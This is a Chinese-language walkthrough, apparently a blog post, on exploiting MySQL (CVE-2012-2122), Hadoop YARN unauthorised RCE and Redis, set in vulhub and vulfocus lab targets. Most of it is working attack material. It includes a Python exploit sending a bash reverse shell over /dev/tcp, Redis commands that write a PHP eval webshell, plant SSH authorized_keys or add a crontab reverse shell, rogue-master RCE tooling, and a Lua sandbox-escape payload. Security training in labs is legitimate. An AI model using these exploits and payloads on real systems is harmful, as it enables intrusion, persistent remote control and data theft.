Mysql&Hadoop&redis数据库漏洞利用总结

385 阅读10分钟

mysql

CVE-2012-2122

  • 当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。

    受影响版本:

    • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
    • MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

    参考链接:

开启环境

靶机:192.168.138.128

攻击机:192.168.138.130

进去靶场目录下:vulhub/mysql/CVE-2012-2122

启动靶场环境:docker-compose up -d

查看环境端口号:docker-compose ps

攻击机访问:

image.png

漏洞验证

在不知道我们环境正确密码的情况下,在bash下运行如下命令,在一定数量尝试后便可成功登录:

for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done

攻击机输入攻击命令

image.png 知道最后登录成功

image.png

mysql弱口令拆解(借助phpmyadmin)

ssh和rdp连接,支持外连的,可以爆破账号密码登录(使用hydra)

而爆破mysql,不支持外连,如果网页上有phpmyadmin的页面,通过phpmyadmin页面登录mysql内部登录。

image.png

Hadoop

未授权访问 内置配合命令执行 RCE

漏洞介绍

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

漏洞利用

访问 http://ip:8088 即可看到Hadoop YARN ResourceManager WebUI页面(未授权访问漏洞)

启动靶场

这里用的是vluhub的hadoop靶场

启动靶场之后访问

image.png

访问 8088 端口,出现了以下界面

image.png 利用外网主机设置监听

搞一台外网主机

exp——python脚本:

开启监听端口7777

import requests
​
target = 'http://192.168.241.142:8088/'
lhost = 'your 监听 ip' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/7777 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

image.png

开启监听之后,在执行exp脚本

image.png

返回监听成功

执行whoami,执行成功

redis

命令行直接启动/停止/重启redis 可以直接通过下面的命令启动/停止/重启redis

/etc/init.d/redis-server start 启动redis服务 /etc/init.d/redis-server stop 停止redis服务 /etc/init.d/redis-server restart 重启redis服务

未授权访问

漏洞介绍

Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

漏洞的产生条件有以下两点:

(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

条件:bind 127.0.0.1注释,显示主机可以尝试访问redis

image.png

默认安全模式关闭的

image.png

或者没有设置密码,空密码

image.png

漏洞复现

条件:

靶机:服务器的vulhub的redis靶场

开启ufw防火墙,开放6379端口(sudo ufw allow 6349),并且阿里云设置安全组设置6379端口对外开放

image.png

启动靶场

image.png

准备一个redis连接终端

端口扫描探测端口存活

nmap -p 6379 -Pn 靶机ip

能扫出来,表示开放3369端口

image.png

攻击机安装redis-cli远程连接工具

wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz

使用工具

cd redis-stable
make
cp src/redis-cli /usr/bin/

用redis-cli命令远程免密登录redis主机

# 无密码登录命令
redis-cli -h 目标主机IP
# 有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码

image.png

如果有密码就失败,提示需要身份验证

image.png

利用redis写webshell

攻击条件:

1.在攻击机上能用redis-cli连上

  1. 知道Web 路径,Web 目录权限可读写
config set dir /tmp #设置 WEB 写入目录
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
save #保存执行

在tmp目录下写入一个1.php的木马文件:

image.png

在运行的容器中执行命令

docker ps -a,查询docker中的所有的容器id

docker exec -it 9bc4e01433e2 /bin/bash,进入id为9bc4e01433e2 的容器中

image.png

可以看到里边有1.php写入成功

注:写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行。

image.png

注意:判断是否有写入权限(低版本不能使用ACL命令)
使用SET命令尝试写入一个键值对,并观察服务器的响应。例如,你可以尝试执行以下命令:
SET testkey testvalue
如果服务器返回OK,则表示你有写入权限。如果服务器返回一个错误消息,如(error) READONLY You can't write against a read only replica.,则表示你没有写入权限。
2. 尝试执行一个写入操作的命令,如DEL或EXPIRE,并观察服务器的响应。例如,你可以尝试执行以下命令:
​
DEL testkey
如果服务器返回10,则表示你有写入权限。如果服务器返回一个错误消息,如(error) READONLY You can't write against a read only replica.,则表示你没有写入权限。
​
需要注意的是,使用这些方法只能判断当前连接的用户是否有写入权限,而不能确定特定键或命令的权限设置。

补充:当数据库过大时,redis写入shell小技巧

<?php 
set_time_limit(0);
$fp=fopen('shell.php','w');
fwrite($fp,'<?php eval($_REQUEST[8]);?>');
exit();
?>
利用公私钥认证获取root权限

条件:redis服务器使用root账户登录

安全模式protected-mode关闭

允许使用密钥登录(即可远程写入一个公钥,直接远程登录服务器)

在攻击机(redis客户端)中生成ssh公钥和私钥,密码设置为空:ssh-keygen -t rsa

1.进入redis-stable工具中:cd redis-stable  
2.生成公钥和私钥(密码直接回车为空):ssh-keygen -t rsa

image.png

3.进入/root/.ssh目录: 将生成的公钥保存到1.txt:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
ls -a:查看保存

image.png

4. 读取1.txt,用1.txt尝试连接服务器,内容设置为crack,就是先把密匙对先存储到对方服务器中,-p指定端口号,如果不是常见redis端口号
cat 1.txt | redis-cli -h 靶机ip -p 端口号 -x set crack

image.png

5.连接到目标主机上去,然后更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):config set dir /root/.ssh
设置上传公钥的备份文件名字为authorized_keys:config set dbfilename authorized_keys
保存并退出:save,exit

image.png

6.攻击机使用ssh免密登录靶机,利用私钥成功登录redis服务器
进入/root/.ssh/ 目录里,然后连接:ssh -i id_rsa root@靶机ip

image.png

crontab计划任务getshell
靶机环境

使用的vluhub靶场没有安装[Crontab],需要自己安装

使用yum命令安装Crontab:

yum install vixie-cron 
yum install crontabs
注:vixie-cron软件包是cron的主程序;
crontabs软件包是用来安装、卸装、或列举用来驱动 cron 守护进程的表格的程序。
cron是linux的内置服务,但它不自动起来,可以用以下的方法启动、关闭这个服务:
/sbin/service crond start #启动服务
/sbin/service crond stop #关闭服务
/sbin/service crond restart #重启服务
/sbin/service crond reload #重新载入配置

2.查看Crontab状态:

service crond status
ntsysv #查看crontab服务是否已设置为开机启动
chkconfig –level 35 crond on #加入开机自动启动

3.添加定时任务:

crontab -e #编辑cron任务模式
i #默认文字编辑器为vim,按i字母键即可添加cron任务
30 3 * * * /usr/local/etc/rc.d/lighttpd restart #将命令代码放入,此命令意义为每天的03:30 重启apach
ESC #按ESC键退出编辑模式
:wq #键入:wq保存
service crond restart #重启crontab服务

4.查看任务列表:

crontab -l
复现

靶机:192.168.1.142 攻击机:192.168.1.143

攻击机上先监听端口:

image.png

写入计划任务(连接时需要以root用户身份):

config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.143/4444 0>&1\n\n\n"
save

等待一分钟左右就会收到反弹shell了:

image.png

image.png

利用主从复制rce(python脚本)

Redis 未授权访问漏洞可以被利用来获取目标主机的控制权,其中一个利用方式是通过主从复制 RCE(远程代码执行)。成功利用此漏洞的 Redis 版本信息为 Redis 4.x 和 Redis 5.x,直到 Redis 5.0.5 和 Redis 6.0.0 的发布,这些版本修复了相关的安全漏洞。

在 Redis 4.x 和 Redis 5.x 的早期版本中,如果 Redis 服务未设置密码或弱密码,并且开启了主从复制功能,攻击者可以利用这个漏洞将恶意命令注入到从服务器中执行。此外,攻击者还需要从服务器的配置文件中开启了加载外部模块的功能,才能将恶意模块上传到从服务器并执行。最终,攻击者可以在从服务器上执行任意命令,如反弹 shell 等,获取目标主机的控制权。

这里使用vulfocus靶场:vulfocus.cn/

image.png

redis-cli -h ip -p 端口,可以进行连接存在未授权访问

直接用poc可以执行命令

攻击机:

git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rogue-getshell/RedisModulesSDK/exp
make

回到redis-rogue-getshell目录下

./redis-master.py -r 123.58.224.8 -p 35249 -L 攻击机ip -P 8888 -f RedisModulesSDK/exp/exp.so -c "whoami"
(第一个ip是靶机,第二个ip是攻击机)

执行whoami命令:

image.png

执行id命令

./redis-master.py -r 123.58.224.8 -p 35249 -L 攻击机ip -P 8888 -f RedisModulesSDK/exp/exp.so -c "id"

image.png

CVE-2022-0543(Redis 沙盒逃逸漏洞)

靶机,vulhub靶场的ip:192.168.138.128

攻击机:192.168.138.130

测试redis能不能远程连接

info

image.png

然后直接利用poc

poc

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

image.png

命令换成反弹shell命令,可以尝试getshell